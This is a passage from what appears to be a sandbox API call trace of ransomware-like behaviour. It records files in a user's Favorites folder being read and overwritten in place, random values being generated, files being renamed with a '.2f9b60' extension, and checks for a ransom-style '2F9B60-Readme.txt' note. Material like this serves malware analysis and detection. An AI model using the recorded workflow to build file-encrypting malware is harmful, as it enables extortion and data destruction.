[0188.204] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="b2") returned 2 [0188.204] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="98") returned 2 [0188.204] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="a0") returned 2 [0188.204] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="e3") returned 2 [0188.204] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="7d") returned 2 [0188.204] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="01") returned 2 [0188.204] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="23") returned 2 [0188.204] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="5e") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="4e") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="18") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="82") returned 2 [0188.205] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="3e") returned 2 [0188.205] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="e4") returned 2 [0188.205] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="99") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="f9") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="36") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="b5") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="7b") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="f1") returned 2 [0188.205] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="09") returned 2 [0188.205] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="3a") returned 2 [0188.205] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="70") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="ef") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="b7") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="fa") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="a2") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="fe") returned 2 [0188.205] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="fa") returned 2 [0188.205] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="2f") returned 2 [0188.205] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="aa") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="f4") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="b7") returned 2 [0188.205] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="07") returned 2 [0188.206] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="06") returned 2 [0188.206] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="64") returned 2 [0188.206] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="4d") returned 2 [0188.206] sprintf (in: _Dest=0x1cd8629c, _Format="%c%c" | out: _Dest="00") returned 2 [0188.206] sprintf (in: _Dest=0x1cd8629e, _Format="%c%c" | out: _Dest="6a") returned 2 [0188.206] RtlInitAnsiString (in: DestinationString=0x2ed4fdc8, SourceString="162eb298a0e37d01235e4e18823ee499f936b57bf1093a70efb7faa2fefa2faaf4b70706644d006a" | out: DestinationString="162eb298a0e37d01235e4e18823ee499f936b57bf1093a70efb7faa2fefa2faaf4b70706644d006a") [0188.206] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ed4fd98, SourceString="162eb298a0e37d01235e4e18823ee499f936b57bf1093a70efb7faa2fefa2faaf4b70706644d006a", AllocateDestinationString=1 | out: DestinationString="162eb298a0e37d01235e4e18823ee499f936b57bf1093a70efb7faa2fefa2faaf4b70706644d006a") returned 0x0 [0188.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b8629e0 [0188.207] RtlFreeAnsiString (AnsiString="1") [0188.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86250) returned 1 [0188.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c80) returned 1 [0188.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267bc0) returned 1 [0188.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c21390) returned 1 [0188.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0830) returned 1 [0188.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8070) returned 1 [0188.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f4f0) returned 1 [0188.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0b00) returned 1 [0188.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267500) returned 1 [0188.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267560) returned 1 [0188.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267590) returned 1 [0188.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b862bf0 [0188.211] wcscat (in: _Dest=0x1b862bf0, _Source="162eb298a0e37d01235e" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\162eb298a0e37d01235e") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\162eb298a0e37d01235e" [0188.211] wcscat (in: _Dest=0x1b862bf0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\162eb298a0e37d01235e.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\162eb298a0e37d01235e.2f9b60" [0188.211] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\162eb298a0e37d01235e.2f9b60", NtPathName=0x2ed4fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\162eb298a0e37d01235e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x1182d0 [0216.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1182d0) returned 1 [0216.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c13480) returned 1 [0216.710] NtQueryInformationFile (in: FileHandle=0x1c0c, IoStatusBlock=0x2ed4fdd8, FileInformation=0x2ed4fde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ed4fdd8, FileInformation=0x2ed4fde8) returned 0x0 [0216.710] NtSetInformationFile (FileHandle=0x1c0c, IoStatusBlock=0x2ed4fdd8, FileInformation=0x2ed4fde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862bf0) returned 1 [0224.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8629e0) returned 1 [0224.143] FlushFileBuffers (hFile=0x1c0c) returned 1 [0224.277] CloseHandle (hObject=0x1c0c) returned 1 [0225.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205d690 [0225.516] wcscpy (in: _Dest=0x4205d690, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0225.516] wcscat (in: _Dest=0x4205d690, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\2F9B60-Readme.txt" [0225.516] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\2f9b60-readme.txt")) returned 0x20 [0225.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d690) returned 1 [0225.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1910) returned 1 Thread: id = 1934 os_tid = 0x1100 [0134.490] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url")) returned 0x20 [0134.509] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", dwFileAttributes=0x20) returned 1 [0135.212] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cac [0135.673] GetFileSizeEx (in: hFile=0x1cac, lpFileSize=0x2ebdf940 | out: lpFileSize=0x2ebdf940*=133) returned 1 [0135.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20268010 [0135.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f80 [0135.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267d10 [0135.673] NtQuerySystemTime (in: CurrentTime=0x2ebdf800 | out: CurrentTime=0x2ebdf800*=132462177409222000) returned 0x0 [0135.673] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x22b8a0e2 [0135.673] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x7c90c0a5 [0135.673] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x579bdfd5 [0135.673] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x2b4cb048 [0135.673] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x5c90a422 [0135.673] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x125aefcb [0135.673] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x321f4a1 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0xda135e3 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x7621ea63 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x13e6aeb0 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x749b9aad [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x3c1bda74 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x78323192 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x2ecaa73 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x76f99fc7 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x5becdbe1 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x48865c97 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x13ee3d05 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x323619ad [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x1f9fc656 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x9cab0a5 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x223b7a0c [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x5b2d7aae [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x3b73640a [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x2d704ca2 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x1786a8ec [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x40ec7bca [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x29c67751 [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0xccfcacf [0135.674] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x4fbf9428 [0135.675] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x1ee954e [0135.675] RtlRandomEx (in: Seed=0x2ebdf7f0 | out: Seed=0x2ebdf7f0) returned 0x4b125b2b [0135.687] ReadFile (in: hFile=0x1cac, lpBuffer=0x41d00d80, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2ebdf7f0, lpOverlapped=0x0 | out: lpBuffer=0x41d00d80*, lpNumberOfBytesRead=0x2ebdf7f0*=0x85, lpOverlapped=0x0) returned 1 [0135.690] SetFilePointerEx (in: hFile=0x1cac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.690] WriteFile (hFile=0x1cac, lpBuffer=0x41ce6910, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2ebdf7f4, lpOverlapped=0x0) [0171.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8cb0 [0171.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8d70 [0171.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8d70) returned 1 [0171.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ce6910) returned 1 [0171.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d00d80) returned 1 [0171.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0171.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97df0 [0171.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8d70 [0171.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8d70) returned 1 [0171.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd975d0 [0171.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8d70 [0171.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e00 [0171.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e00) returned 1 [0171.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x122) returned 0x42c20b40 [0171.087] SetFilePointerEx (in: hFile=0x1cac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0171.087] WriteFile (in: hFile=0x1cac, lpBuffer=0x42c20b40*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2ebdf910, lpOverlapped=0x0 | out: lpBuffer=0x42c20b40*, lpNumberOfBytesWritten=0x2ebdf910*=0x122, lpOverlapped=0x0) returned 1 [0188.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97530 [0188.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0188.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcb90 [0188.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcb90) returned 1 [0188.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9fd30 [0188.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcb90 [0188.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcb60 [0188.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcb60) returned 1 [0188.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0188.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0188.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x203fae40 [0188.283] sprintf (in: _Dest=0x203fae40, _Format="%c%c" | out: _Dest="8a") returned 2 [0188.283] sprintf (in: _Dest=0x203fae42, _Format="%c%c" | out: _Dest="6a") returned 2 [0188.283] sprintf (in: _Dest=0x203fae44, _Format="%c%c" | out: _Dest="1e") returned 2 [0188.283] sprintf (in: _Dest=0x203fae46, _Format="%c%c" | out: _Dest="b2") returned 2 [0188.283] sprintf (in: _Dest=0x203fae48, _Format="%c%c" | out: _Dest="08") returned 2 [0188.283] sprintf (in: _Dest=0x203fae4a, _Format="%c%c" | out: _Dest="66") returned 2 [0188.283] sprintf (in: _Dest=0x203fae4c, _Format="%c%c" | out: _Dest="52") returned 2 [0188.283] sprintf (in: _Dest=0x203fae4e, _Format="%c%c" | out: _Dest="e6") returned 2 [0188.283] sprintf (in: _Dest=0x203fae50, _Format="%c%c" | out: _Dest="c6") returned 2 [0188.283] sprintf (in: _Dest=0x203fae52, _Format="%c%c" | out: _Dest="06") returned 2 [0188.283] sprintf (in: _Dest=0x203fae54, _Format="%c%c" | out: _Dest="ed") returned 2 [0188.283] sprintf (in: _Dest=0x203fae56, _Format="%c%c" | out: _Dest="ec") returned 2 [0188.283] sprintf (in: _Dest=0x203fae58, _Format="%c%c" | out: _Dest="f1") returned 2 [0188.283] sprintf (in: _Dest=0x203fae5a, _Format="%c%c" | out: _Dest="ae") returned 2 [0188.283] sprintf (in: _Dest=0x203fae5c, _Format="%c%c" | out: _Dest="7a") returned 2 [0188.283] sprintf (in: _Dest=0x203fae5e, _Format="%c%c" | out: _Dest="e7") returned 2 [0188.283] sprintf (in: _Dest=0x203fae60, _Format="%c%c" | out: _Dest="21") returned 2 [0188.283] sprintf (in: _Dest=0x203fae62, _Format="%c%c" | out: _Dest="22") returned 2 [0188.284] sprintf (in: _Dest=0x203fae64, _Format="%c%c" | out: _Dest="07") returned 2 [0188.284] sprintf (in: _Dest=0x203fae66, _Format="%c%c" | out: _Dest="27") returned 2 [0188.284] sprintf (in: _Dest=0x203fae68, _Format="%c%c" | out: _Dest="7d") returned 2 [0188.284] sprintf (in: _Dest=0x203fae6a, _Format="%c%c" | out: _Dest="72") returned 2 [0188.284] sprintf (in: _Dest=0x203fae6c, _Format="%c%c" | out: _Dest="2f") returned 2 [0188.284] sprintf (in: _Dest=0x203fae6e, _Format="%c%c" | out: _Dest="33") returned 2 [0188.284] sprintf (in: _Dest=0x203fae70, _Format="%c%c" | out: _Dest="3e") returned 2 [0188.284] sprintf (in: _Dest=0x203fae72, _Format="%c%c" | out: _Dest="13") returned 2 [0188.284] sprintf (in: _Dest=0x203fae74, _Format="%c%c" | out: _Dest="66") returned 2 [0188.284] sprintf (in: _Dest=0x203fae76, _Format="%c%c" | out: _Dest="ae") returned 2 [0188.284] sprintf (in: _Dest=0x203fae78, _Format="%c%c" | out: _Dest="99") returned 2 [0188.284] sprintf (in: _Dest=0x203fae7a, _Format="%c%c" | out: _Dest="c0") returned 2 [0188.284] sprintf (in: _Dest=0x203fae7c, _Format="%c%c" | out: _Dest="b9") returned 2 [0188.284] sprintf (in: _Dest=0x203fae7e, _Format="%c%c" | out: _Dest="b4") returned 2 [0188.284] sprintf (in: _Dest=0x203fae80, _Format="%c%c" | out: _Dest="a8") returned 2 [0188.284] sprintf (in: _Dest=0x203fae82, _Format="%c%c" | out: _Dest="7b") returned 2 [0188.284] sprintf (in: _Dest=0x203fae84, _Format="%c%c" | out: _Dest="a9") returned 2 [0188.284] sprintf (in: _Dest=0x203fae86, _Format="%c%c" | out: _Dest="cc") returned 2 [0188.284] sprintf (in: _Dest=0x203fae88, _Format="%c%c" | out: _Dest="50") returned 2 [0188.284] sprintf (in: _Dest=0x203fae8a, _Format="%c%c" | out: _Dest="6e") returned 2 [0188.284] sprintf (in: _Dest=0x203fae8c, _Format="%c%c" | out: _Dest="71") returned 2 [0188.284] sprintf (in: _Dest=0x203fae8e, _Format="%c%c" | out: _Dest="ee") returned 2 [0188.284] sprintf (in: _Dest=0x203fae90, _Format="%c%c" | out: _Dest="11") returned 2 [0188.284] sprintf (in: _Dest=0x203fae92, _Format="%c%c" | out: _Dest="b0") returned 2 [0188.285] sprintf (in: _Dest=0x203fae94, _Format="%c%c" | out: _Dest="b6") returned 2 [0188.285] sprintf (in: _Dest=0x203fae96, _Format="%c%c" | out: _Dest="1d") returned 2 [0188.285] sprintf (in: _Dest=0x203fae98, _Format="%c%c" | out: _Dest="26") returned 2 [0188.285] sprintf (in: _Dest=0x203fae9a, _Format="%c%c" | out: _Dest="9f") returned 2 [0188.285] sprintf (in: _Dest=0x203fae9c, _Format="%c%c" | out: _Dest="bb") returned 2 [0188.285] sprintf (in: _Dest=0x203fae9e, _Format="%c%c" | out: _Dest="0a") returned 2 [0188.285] RtlInitAnsiString (in: DestinationString=0x2ebdf988, SourceString="8a6a1eb2086652e6c606edecf1ae7ae7212207277d722f333e1366ae99c0b9b4a87ba9cc506e71ee11b0b61d269fbb0a" | out: DestinationString="8a6a1eb2086652e6c606edecf1ae7ae7212207277d722f333e1366ae99c0b9b4a87ba9cc506e71ee11b0b61d269fbb0a") [0188.285] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ebdf958, SourceString="8a6a1eb2086652e6c606edecf1ae7ae7212207277d722f333e1366ae99c0b9b4a87ba9cc506e71ee11b0b61d269fbb0a", AllocateDestinationString=1 | out: DestinationString="8a6a1eb2086652e6c606edecf1ae7ae7212207277d722f333e1366ae99c0b9b4a87ba9cc506e71ee11b0b61d269fbb0a") returned 0x0 [0188.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4205f0f0 [0188.286] RtlFreeAnsiString (AnsiString="8") [0188.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203fae40) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fd30) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcb90) returned 1 [0188.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20b40) returned 1 [0188.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0188.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8d70) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8cb0) returned 1 [0188.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267f80) returned 1 [0188.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267e00) returned 1 [0188.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c50) returned 1 [0188.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x42c37a10 [0188.291] wcscat (in: _Dest=0x42c37a10, _Source="8a6a1eb2086652e6c606edec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\8a6a1eb2086652e6c606edec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\8a6a1eb2086652e6c606edec" [0188.291] wcscat (in: _Dest=0x42c37a10, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\8a6a1eb2086652e6c606edec.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\8a6a1eb2086652e6c606edec.2f9b60" [0188.291] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\8a6a1eb2086652e6c606edec.2f9b60", NtPathName=0x2ebdf930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\8a6a1eb2086652e6c606edec.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x4205e9a0 [0220.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e9a0) returned 1 [0220.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291af0) returned 1 [0220.294] NtQueryInformationFile (in: FileHandle=0x1cac, IoStatusBlock=0x2ebdf998, FileInformation=0x2ebdf9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ebdf998, FileInformation=0x2ebdf9a8) returned 0x0 [0220.294] NtSetInformationFile (FileHandle=0x1cac, IoStatusBlock=0x2ebdf998, FileInformation=0x2ebdf9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37a10) returned 1 [0224.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f0f0) returned 1 [0224.193] FlushFileBuffers (hFile=0x1cac) returned 1 [0224.420] CloseHandle (hObject=0x1cac) returned 1 [0224.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4318af40 [0224.845] wcscpy (in: _Dest=0x4318af40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0224.845] wcscat (in: _Dest=0x4318af40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\2F9B60-Readme.txt" [0224.845] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows 